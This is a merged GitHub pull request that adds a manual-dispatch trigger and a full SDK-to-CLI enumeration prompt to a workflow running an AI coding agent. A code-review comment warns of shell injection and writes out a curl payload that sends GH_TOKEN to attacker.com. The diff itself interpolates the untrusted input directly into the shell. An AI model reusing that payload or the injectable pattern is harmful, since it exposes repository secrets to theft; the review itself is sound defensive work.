Skip to content

Sdk cli command mapping #58

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
masnwilliams merged 2 commits into from
Jan 17, 2026
Merged

Sdk cli command mapping #58

Changes from all commits
Commits
Show all changes
2 commits
Select commit Hold shift + click to select a range
23d4b9b
fix: update CLI coverage workflow to perform full SDK method enumeration
cursoragent Jan 17, 2026
b3020ea
feat: add manual dispatch trigger with optional PR number input
cursoragent Jan 17, 2026
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
201 changes: 154 additions & 47 deletions .github/workflows/update-cli-coverage.yml
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,12 @@ name: Update CLI Coverage
on:
push:
branches: [main]
workflow_dispatch:
inputs:
pr_number:
description: 'PR number to use for context (leave empty to use most recent merged PR)'
required: false
type: string
# Or trigger on releases:
# release:
# types: [published]
Expand All @@ -14,11 +20,49 @@ jobs:
update-cli-coverage:
runs-on: ubuntu-latest
steps:
- name: Get PR info for manual dispatch
id: pr-info
if: github.event_name == 'workflow_dispatch'
env:
GH_TOKEN: ${{ secrets.GH_TOKEN }}
run: |
if [ -n "${{ inputs.pr_number }}" ]; then
# Use provided PR number
PR_NUMBER="${{ inputs.pr_number }}"
Copy link

@cursor cursor bot Jan 17, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Shell injection via untrusted workflow dispatch input

Medium Severity

The inputs.pr_number value is directly interpolated into the shell script using ${{ inputs.pr_number }}. GitHub Actions performs string substitution before the shell parses the script, so a malicious input like "; curl attacker.com?t=$GH_TOKEN # would break out of the string context and execute arbitrary commands. This could exfiltrate the GH_TOKEN secret which is available in the step's environment. The safe pattern is to pass the input through an environment variable first (e.g., env: PR_INPUT: ${{ inputs.pr_number }} then use "$PR_INPUT" in the script).

Fix in Cursor Fix in Web

echo "Using provided PR number: $PR_NUMBER"
else
# Get most recent merged PR
PR_NUMBER=$(gh pr list --repo ${{ github.repository }} --state merged --limit 1 --json number --jq '.[0].number')
echo "Using most recent merged PR: $PR_NUMBER"
fi

if [ -z "$PR_NUMBER" ]; then
Copy link

@cursor cursor bot Jan 17, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Empty array returns "null" string, not empty

Low Severity

When no merged PRs exist, gh pr list returns an empty array []. The jq expression .[0].number on an empty array returns null, which becomes the literal string "null" with raw output. The subsequent check if [ -z "$PR_NUMBER" ] tests for empty string, but "null" is not empty. This causes the script to incorrectly proceed to gh pr view "null", which fails. The jq expression needs // empty (like '.[0].number // empty') to output an empty string instead of "null".

Fix in Cursor Fix in Web

echo "No PR found, will use HEAD commit"
echo "has_pr=false" >> $GITHUB_OUTPUT
else
# Get PR details
PR_DATA=$(gh pr view "$PR_NUMBER" --repo ${{ github.repository }} --json mergeCommit,author,title)
MERGE_SHA=$(echo "$PR_DATA" | jq -r '.mergeCommit.oid // empty')
PR_AUTHOR=$(echo "$PR_DATA" | jq -r '.author.login // empty')
PR_TITLE=$(echo "$PR_DATA" | jq -r '.title // empty')

echo "PR #$PR_NUMBER: $PR_TITLE"
echo "Merge commit: $MERGE_SHA"
echo "Author: $PR_AUTHOR"

echo "has_pr=true" >> $GITHUB_OUTPUT
echo "pr_number=$PR_NUMBER" >> $GITHUB_OUTPUT
echo "merge_sha=$MERGE_SHA" >> $GITHUB_OUTPUT
echo "pr_author=$PR_AUTHOR" >> $GITHUB_OUTPUT
fi

- name: Checkout SDK repo
uses: actions/checkout@v4
with:
fetch-depth: 2
fetch-tags: true
# For manual dispatch with a specific PR, checkout the merge commit
ref: ${{ steps.pr-info.outputs.merge_sha || github.sha }}

- name: Install Cursor CLI
run: |
Expand Down Expand Up @@ -56,14 +100,22 @@ jobs:
echo "version=$LATEST_TAG" >> $GITHUB_OUTPUT
echo "SDK version: $LATEST_TAG"
else
echo "version=${{ github.sha }}" >> $GITHUB_OUTPUT
echo "SDK version: ${{ github.sha }} (no tag)"
CURRENT_SHA="${{ steps.pr-info.outputs.merge_sha || github.sha }}"
echo "version=$CURRENT_SHA" >> $GITHUB_OUTPUT
echo "SDK version: $CURRENT_SHA (no tag)"
fi

# Get the module path from go.mod
MODULE_PATH=$(head -1 go.mod | awk '{print $2}')
echo "module=$MODULE_PATH" >> $GITHUB_OUTPUT
echo "SDK module: $MODULE_PATH"

# Determine the commit author (from PR info for manual dispatch, or from push event)
if [ -n "${{ steps.pr-info.outputs.pr_author }}" ]; then
echo "author=${{ steps.pr-info.outputs.pr_author }}" >> $GITHUB_OUTPUT
else
echo "author=${{ github.event.head_commit.author.username || github.actor }}" >> $GITHUB_OUTPUT
fi

- name: Update CLI coverage
env:
Expand All @@ -79,8 +131,9 @@ jobs:
- SDK Repo: ${{ github.repository }} (current directory)
- SDK Module: ${{ steps.sdk-version.outputs.module }}
- SDK Version: ${{ steps.sdk-version.outputs.version }}
- Commit SHA: ${{ github.sha }}
- Commit Author: ${{ github.event.head_commit.author.username || github.actor }}
- Commit SHA: ${{ steps.pr-info.outputs.merge_sha || github.sha }}
- Commit Author: ${{ steps.sdk-version.outputs.author }}
- Trigger: ${{ github.event_name }} ${{ inputs.pr_number && format('(PR #{0})', inputs.pr_number) || '' }}
- API Repo Location: /tmp/kernel-api
- CLI Repo Location: /tmp/kernel-cli
- Update Branch Prefix: cli-coverage-update
Expand All @@ -89,59 +142,103 @@ jobs:
The Go SDK (this repo) was just updated by Stainless, and may contain new API methods. The CLI (kernel/cli) needs to be updated to expose these new methods as CLI commands.

# Source Files
- SDK: Current directory - check for new/changed methods in the Go SDK
- SDK api.md: Current directory - READ THIS FILE FIRST. This is the authoritative list of all SDK methods and their signatures.
- SDK *.go files: Current directory - Contains param structs (e.g., BrowserNewParams, DeploymentListParams) with all available options/fields.
- API Spec: /tmp/kernel-api/packages/api/stainless.yaml - SDK configuration with resources and methods
- API Spec: /tmp/kernel-api/packages/api/openapi.yaml - Full OpenAPI specification
- CLI: /tmp/kernel-cli - Existing CLI commands

# Task
1. ALWAYS update the CLI to use the latest Go SDK version:
- Go to /tmp/kernel-cli
- Update go.mod to require the latest SDK: ${{ steps.sdk-version.outputs.module }}@${{ steps.sdk-version.outputs.version }}
- Run: go get ${{ steps.sdk-version.outputs.module }}@${{ steps.sdk-version.outputs.version }}
- Run: go mod tidy
- This ensures the CLI always uses the latest SDK, even if no new commands are added

2. Check the recent commit(s) to this SDK repo to see what methods were added/changed:
git log -1 --name-only
git diff HEAD~1 --name-only

3. Read the stainless.yaml to understand the full resource/method structure

4. Check the CLI repo at /tmp/kernel-cli to see what commands already exist:
- Look at cmd/ directory structure for existing commands
- Identify which SDK methods have CLI command equivalents

5. Identify coverage gaps - SDK methods that don't have CLI equivalents, or new SDK method parameters that aren't exposed via the CLI

6. If new commands or flags are needed:
- Implement them in /tmp/kernel-cli following existing patterns
- Run \`go build ./...\` to verify the code compiles

7. Create and push changes (SDK version update + any new commands):
- Create/update the evergreen branch: cli-coverage-update (always use this single branch name)
- Commit with message describing SDK version bump and any new commands
- Force push changes to the CLI repo (since we're updating an evergreen branch)
- Create or update an evergreen PR in kernel/cli (check if PR already exists for this branch first)
- Tag the commit author as a reviewer

8. If only SDK version was updated (no new commands), still update the evergreen PR with title 'CLI: Update Go SDK to <version>'

# Mapping Guide
Use these mappings to implement CLI commands:
- client.Resource.Create() -> kernel resource create
## Step 1: Update SDK Version (ALWAYS DO THIS FIRST)
- Go to /tmp/kernel-cli
- Update go.mod to require the latest SDK: ${{ steps.sdk-version.outputs.module }}@${{ steps.sdk-version.outputs.version }}
- Run: go get ${{ steps.sdk-version.outputs.module }}@${{ steps.sdk-version.outputs.version }}
- Run: go mod tidy
- This ensures the CLI always uses the latest SDK, even if no new commands are added

## Step 2: Full SDK Method Enumeration (CRITICAL - DO NOT SKIP)
You MUST perform a complete enumeration of ALL SDK methods and their parameters. Do NOT rely only on recent commits.

2a. Read the api.md file in the SDK repo root. This file lists EVERY SDK method in the format:
- \`client.Resource.Method(ctx, params)\` with links to param types
Extract a complete list of all methods.

2b. For EACH SDK method, read the corresponding param type from the Go source files.
For example:
- BrowserNewParams in browser.go -> lists all fields like \`Proxy\`, \`Profile\`, \`Viewport\`, etc.
- DeploymentNewParams in deployment.go -> lists all fields like \`AppName\`, \`Region\`, \`EnvVars\`, etc.
Each field in a Params struct represents an option that could be a CLI flag.

2c. Build a complete SDK coverage matrix:
| SDK Method | SDK Param Type | SDK Param Fields |
|------------|----------------|------------------|
| client.Browsers.New | BrowserNewParams | Proxy, Profile, Viewport, Extensions, ... |
| client.Browsers.List | BrowserListParams | Limit, Offset, IncludeDeleted, ... |
| client.Deployments.New | DeploymentNewParams | AppName, Region, EnvVars, ... |
| ... | ... | ... |

## Step 3: Full CLI Command Enumeration (CRITICAL - DO NOT SKIP)
Enumerate ALL existing CLI commands and their flags.

3a. Look at cmd/ directory structure for existing commands
3b. For each command file, extract:
- The command name/path (e.g., \`kernel browser create\`)
- All flags defined for that command
3c. Build a CLI coverage matrix:
| CLI Command | CLI Flags |
|-------------|-----------|
| kernel browser create | --proxy, --profile, --viewport, ... |
| kernel browser list | --limit, --offset, ... |
| ... | ... |

## Step 4: Gap Analysis (CRITICAL - DO NOT SKIP)
Compare the SDK matrix (Step 2) with the CLI matrix (Step 3) to identify:

4a. Missing commands: SDK methods with NO corresponding CLI command
4b. Missing flags: SDK param fields with NO corresponding CLI flag
4c. Create a gap report:
## Missing Commands
- client.Browsers.LoadExtensions -> needs \`kernel browser load-extensions\`
- client.Proxies.Check -> needs \`kernel proxy check\`

## Missing Flags
- BrowserNewParams.SomeNewField -> \`kernel browser create\` needs --some-new-field
- DeploymentListParams.Status -> \`kernel deployment list\` needs --status

## Step 5: Implement Missing Coverage
For each gap identified in Step 4:
- Implement missing commands following existing patterns
- Add missing flags to existing commands
- Run \`go build ./...\` to verify the code compiles

## Step 6: Commit and Push
- Create/update the evergreen branch: cli-coverage-update (always use this single branch name)
- Commit with message describing SDK version bump and any new commands/flags
- Force push changes to the CLI repo (since we're updating an evergreen branch)
- Create or update an evergreen PR in kernel/cli

# SDK Method -> CLI Command Mapping Guide
- client.Resource.New() -> kernel resource create
- client.Resource.List() -> kernel resource list
- client.Resource.Get() -> kernel resource get
- client.Resource.Delete() -> kernel resource delete
- client.Resource.Update() -> kernel resource update
- client.Resource.Sub.Action() -> kernel resource sub action
- client.Resource.CustomAction() -> kernel resource custom-action

# SDK Param Field -> CLI Flag Mapping Guide
- CamelCaseField -> --camel-case-field
- TimeoutSeconds -> --timeout-seconds
- IncludeDeleted -> --include-deleted
- Nested structs: Viewport.Width -> --viewport-width or separate flags

# Implementation Guidelines
- Follow the existing CLI code patterns in /tmp/kernel-cli
- Use cobra for command definitions
- Use the Kernel Go SDK (this repo) for API calls
- Include proper flag definitions with descriptions
- Add help text for commands
- Include proper flag definitions with descriptions matching SDK field comments
- Add help text for commands matching SDK method comments
- Handle errors appropriately
- Match the style of existing commands

Expand All @@ -161,28 +258,38 @@ jobs:
## SDK Update
- Updated kernel-go-sdk to ${{ steps.sdk-version.outputs.version }}

## New Commands/Flags
## Coverage Analysis
This PR was generated by performing a full enumeration of SDK methods and CLI commands.

## New Commands
- \`kernel <resource> <action>\` for \`client.Resource.Action()\`

Triggered by: kernel/kernel-go-sdk@${{ github.sha }}
## New Flags
- \`--flag-name\` for \`ResourceParams.FieldName\`

Triggered by: kernel/kernel-go-sdk@${{ steps.pr-info.outputs.merge_sha || github.sha }}
Reviewer: @<commit_author>'

If only SDK version update (no new commands):
If only SDK version update (no coverage gaps found):
Title: 'CLI: Update Go SDK to ${{ steps.sdk-version.outputs.version }}'
Body:
'This PR updates the Go SDK dependency to the latest version.

## SDK Update
- Updated kernel-go-sdk to ${{ steps.sdk-version.outputs.version }}

Triggered by: kernel/kernel-go-sdk@${{ github.sha }}
## Coverage Analysis
A full enumeration of SDK methods and CLI commands was performed. No coverage gaps were found.

Triggered by: kernel/kernel-go-sdk@${{ steps.pr-info.outputs.merge_sha || github.sha }}
Reviewer: @<commit_author>'

# Constraints
- ALWAYS update the SDK version in go.mod - this is the primary purpose
- Only implement genuinely missing CLI functionality for new commands
- ALWAYS perform the full enumeration (Steps 2-4) - this is critical for finding gaps
- Only implement genuinely missing CLI functionality
- Internal/admin methods may not need CLI commands
- Streaming methods may have different CLI implementations
- Even if no new commands are needed, still create a PR for the SDK version bump
- Even if no coverage gaps are found, still create a PR for the SDK version bump
- Ensure code compiles before pushing
" --model opus-4.5 --force --output-format=text